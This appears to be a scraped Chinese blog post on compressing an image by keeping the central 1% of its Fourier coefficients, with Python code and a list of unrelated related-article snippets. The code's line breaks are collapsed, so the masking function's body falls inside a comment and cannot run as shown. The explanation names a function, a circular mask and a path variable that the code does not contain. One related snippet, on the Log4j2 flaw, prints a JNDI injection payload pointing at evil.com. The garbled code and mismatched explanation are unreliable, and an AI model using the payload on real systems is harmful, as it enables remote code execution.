使用傅里叶实现100倍的压缩效果(附Python源码)

傅里叶变换(Fourier Transform)是一种将一个函数(在时间或空间域)转换为另一个函数(在频率域)的数学变换方法。它在信号处理、图像处理、通信等领域有广泛应用。

实现过程

将傅里叶系数核心的1%保留,其余全部删除。
然后利用这留下的1%复原原始图像,得到相对清晰的原始图像。显示原始图像,傅里叶、仅保留1%的傅里叶,复原图像。

Python实现

本部分我们使用Python实现这一过程,并观察实际的结果。

Python实现代码

# -*- coding: utf-8 -*-
"""
Created on Sun Feb 18 18:09:22 2024@author: 李立宗公众号:计算机视觉之光知识星球:计算机视觉之光"""# -*- coding: utf-8 -*-
"""
Created on Sun Feb 18 18:09:22 2024@author: 李立宗公众号:计算机视觉之光知识星球:计算机视觉之光"""import numpy as np
from PIL import Image
import matplotlib.pyplot as plt# 步骤1 - 加载并显示原始图像
original_image = Image.open('lena.bmp').convert('L')  # 将图像转换为灰度
plt.figure(figsize=(6, 6))
plt.imshow(original_image, cmap='gray')
plt.title('Original Image')
plt.show()# 步骤2 - 计算图像的二维傅里叶变换,并中心化
f_transform = np.fft.fft2(original_image)
f_shifted = np.fft.fftshift(f_transform)
magnitude_spectrum = 20*np.log(np.abs(f_shifted))
plt.figure(figsize=(6, 6))
plt.imshow(magnitude_spectrum, cmap='gray')
plt.title('Magnitude Spectrum')
plt.show()# 步骤3 - 保留傅里叶变换系数核心的1%
def keep_central_percentage(f_data, percentage=0.01):# 创建一个只有中心1%区域是1, 其余是0的掩模rows, cols = f_data.shapecrow, ccol = rows // 2 , cols // 2mask = np.zeros((rows, cols), np.uint8)mask[crow-int(rows*np.sqrt(percentage))//2:crow+int(rows*np.sqrt(percentage))//2, ccol-int(cols*np.sqrt(percentage))//2:ccol+int(cols*np.sqrt(percentage))//2] = 1return f_data * maskf_central = keep_central_percentage(f_shifted)
magnitude_spectrum_central = 20*np.log(np.abs(f_central))
plt.figure(figsize=(6, 6))
plt.imshow(magnitude_spectrum_central, cmap='gray')
plt.title('Central 1% Magnitude Spectrum')
plt.show()# 步骤4 - 使用逆变换复原图像
f_ishifted = np.fft.ifftshift(f_central)
img_back = np.fft.ifft2(f_ishifted)
img_back = np.abs(img_back)
plt.figure(figsize=(6, 6))
plt.imshow(img_back, cmap='gray')
plt.title('Reconstructed Image from 1% Coefficients')
plt.show()

代码分析

在这段代码中,keep_central_frequency函数用于创建掩码,在中心周围创建一个指定百分比的圆形区域,并将这个区域外的部分置零。请务必替换代码中的img_path变量值为你将要处理的图像的实际路径。

注意:傅里叶变换的结果(fshift)是复数数组,而掩码是实数数组。当我们实行点乘运算时,只有那些直径中心周围特定百分比的傅里叶系数被保留下来。之后,我们执行逆傅里叶变换并取其绝对值来得到重建后的图像。

最后,使用matplotlib库来显示图像,其中包括原始图像、傅里叶变换的幅度谱、只保留中心1%频率后的幅度谱比和由1%的傅里叶系数重建的图像。这里使用了cmap='gray’来展示灰度图像。

过程及结果显示

下面是原始图像及对应的傅里叶变换图谱
在这里插入图片描述
下面是1%的低频信号,复原图像:
在这里插入图片描述

结论

从上述变化您可以看到,即使仅仅保留1%的低频,仍旧能够复原识别度较高的原始图像。

相关知识点

理解并实现OpenCV中的图像平滑技术

OpenCV中的边缘检测技术及实现

OpenCV识别人脸案例实战

入门OpenCV:图像阈值处理

参考文献

1、OpenCV轻松入门
李立宗,OpenCV轻松入门,电子工业出版社,2023
在这里插入图片描述

2、计算机视觉40例
李立宗,计算机视觉40例,电子工业出版社,2022
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/259866.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Gin框架: HTML模板渲染之配置与语法详解

Gin的HTML模板配置 1 &#xff09;单一目录的配置 配置模板目录&#xff0c;在与main.go同级下, 新建目录&#xff0c;下面二选一&#xff0c;仅作举例, 这里选择 tpls templatestpls 在 tpls 目录下新建 news.html <!-- 最简单的 --> <h1>News Page</h1>&l…

Java实现停车场收费系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 停车位模块2.2 车辆模块2.3 停车收费模块2.4 IC卡模块2.5 IC卡挂失模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 停车场表3.2.2 车辆表3.2.3 停车收费表3.2.4 IC 卡表3.2.5 IC 卡挂失表 四、系统实现五、核心代码…

17-k8s控制器资源-job控制

job控制器&#xff1a;就是一次性任务的pod控制器&#xff0c;pod完成作业后不会重启&#xff0c;其重启策略是&#xff1a;Never 1&#xff0c;job控制器案例描述 启动一个pod&#xff0c;执行完成一个事件&#xff0c;然后pod关闭&#xff1b; 事件&#xff1a;计算π的值&a…

请你设计一个抢手机F码的排队的场景,并且需要显示等待时间

package com.example.demo1.service.impl;import lombok.Data;import java.time.LocalDateTime; import java.time.temporal.ChronoUnit; import java.util.Date;Data public class User {//用户idprivate Integer id;//姓名private String name;//插入的时间private LocalDate…

php数组运算符 比较 isset、is_null、empty的用法和区别

php数组运算符 1. 数组运算符2. 判断两个数组是否相等3. isset、is_null、empty的用法和区别 1. 数组运算符 注意&#xff1a;只会保留第一个数组中的键值对&#xff0c;而忽略后面数组中相同键名的元素&#xff0c;如果想要合并两个数组并覆盖相同键名的元素&#xff0c;可以…

搜维尔科技:分析OptiTrack光学动作捕捉应用领域!

虚拟制作 当今虚拟制作阶段低延迟、超精确摄像机跟踪的事实上的标准。 用于运动科学的 OptiTrack OptiTrack 系统提供世界领先的测量精度和简单易用的工作流程&#xff0c;为研究人员和生物力学师的研究提供理想的 3D 跟踪数据。对所有主要数字测力台、EMG 和模拟设备的本机即…

广州游戏业:低调内敛 务实创新

广州游戏业&#xff1a;低调内敛 务实创新 中国游戏产业发展迅猛&#xff0c;不同城市因地制宜&#xff0c;各具特色。本篇我们的视角转到历史悠久的广州&#xff0c;看看这座百年老城的游戏业正在以怎样的姿态前行。 广州在中国游戏产业中有其独特地位——作为游戏产业发源地…

[计算机网络]---Https协议

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 目录 一、https协…

【EI会议征稿通知】第五届信息科学与并行、分布式处理国际学术会议(ISPDS 2024)

第五届信息科学与并行、分布式处理国际学术会议&#xff08;ISPDS 2024&#xff09; 2024 5th International Conference on Information Science, Parallel and Distributed Systems 第五届信息科学与并行、分布式处理国际学术会议&#xff08;ISPDS 2024&#xff09;定于20…

八、计算机视觉-边界填充

文章目录 前言一、原理二、具体的实现 前言 在Python中使用OpenCV进行边界填充&#xff08;也称为zero padding&#xff09;是一种常见的图像处理操作&#xff0c;通常用于在图像周围添加额外的像素以便进行卷积或其他操作。下面是使用OpenCV进行边界填充的基本原理和方法 一…

纯净住宅代理有何优势?为什么要用它?

随着互联网的快速发展&#xff0c;代理服务器已经成为许多在线活动的关键组成部分&#xff0c;从数据挖掘到网络安全。然而&#xff0c;随着技术的不断发展&#xff0c;住宅IP代理正崭露头角&#xff0c;因其在保障隐私、提升性能和应对封锁方面的卓越优势而备受瞩目。本文将深…

java面试题基础篇

1.java面向对象三大特性 ​ 封装&#xff08;Encapsulation&#xff09;&#xff1a;是面向对象方法的重要原则&#xff0c;就是把对象的属性和操作&#xff08;或服务&#xff09;结合为一个独立的整体&#xff0c;并尽可能隐藏对象的内部实现细节。 ​ 继承&#xff1a;就是…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

OpenAI超级视频模型Sora技术报告解读,虚拟世界涌现了

昨天白天&#xff0c;「现实不存在了」开始全网刷屏。 「我们这么快就步入下一个时代了&#xff1f;Sora简直太炸裂了」。 「这就是电影制作的未来」&#xff01; 谷歌的Gemini Pro 1.5还没出几个小时的风头&#xff0c;天一亮&#xff0c;全世界的聚光灯就集中在了OpenAI的So…

unity学习(29)——GameInfo角色信息

1.把GameInfo.cs PlayerModel.cs Vector3.cs Vector4.cs PlayerStateConstans.cs GameState.cs依次粘到model文件夹中&#xff0c;此时项目没有错误&#xff0c;如下图所示&#xff1b; 对应处所修改的代码如下&#xff1a; case LoginProtocol.LOGIN_SRES://1 {Debug.Log(&qu…

生产环境下,应用模式部署flink任务,通过hdfs提交

前言 通过通过yarn.provided.lib.dirs配置选项指定位置&#xff0c;将flink的依赖上传到hdfs文件管理系统 1. 实践 &#xff08;1&#xff09;生产集群为cdh集群&#xff0c;从cm上下载配置文件&#xff0c;设置环境 export HADOOP_CONF_DIR/home/conf/auth export HADOOP_CL…

剑指offer——数值的整数次方

目录 1. 题目描述2. 一般思路2.1 有问题的思路2.2 全面但不高效的思路2.3 面试小提示 3. 全面又高效的思路 1. 题目描述 题目:实现函数 double Power(double base,int exponent)&#xff0c;求base 的exponent 次方。不得使用库函数&#xff0c;同时不需要考虑大数问题 2. 一般…

CSS 四个不同大小和颜色的圆环加载动画

<template><!-- 定义一个视图容器,用于装载SVG加载动画 --><view class="loader"><!-- SVG图形元素,定义一个240x240的可视区域 --><svg class="pl" width="240" height="240" viewBox="0 0 240 24…

chrome调试必知必会

1 概述 业务系统在分析前端问题时,离不开使用浏览器调试工具,目前chrome在网页前端调试是最流行的工具,非之一。 对于初学者,甚至有多年工作经验的都不一定掌握的很全面。本文分享一些常用好用的功能点。 2 打开调试 打开chrome , 在右侧菜单,找到“更多工具” -> &…

扩展语音识别系统:增强功能与多语言支持

一、引言 在之前的博客中&#xff0c;我们成功构建了一个基于LibriSpeech数据集的英文语音识别系统。现在&#xff0c;我们将对系统进行扩展&#xff0c;增加一些增强功能&#xff0c;并尝试支持多语言识别。 二、增加增强功能 语音合成 --除了语音识别&#xff0c;我们还可以…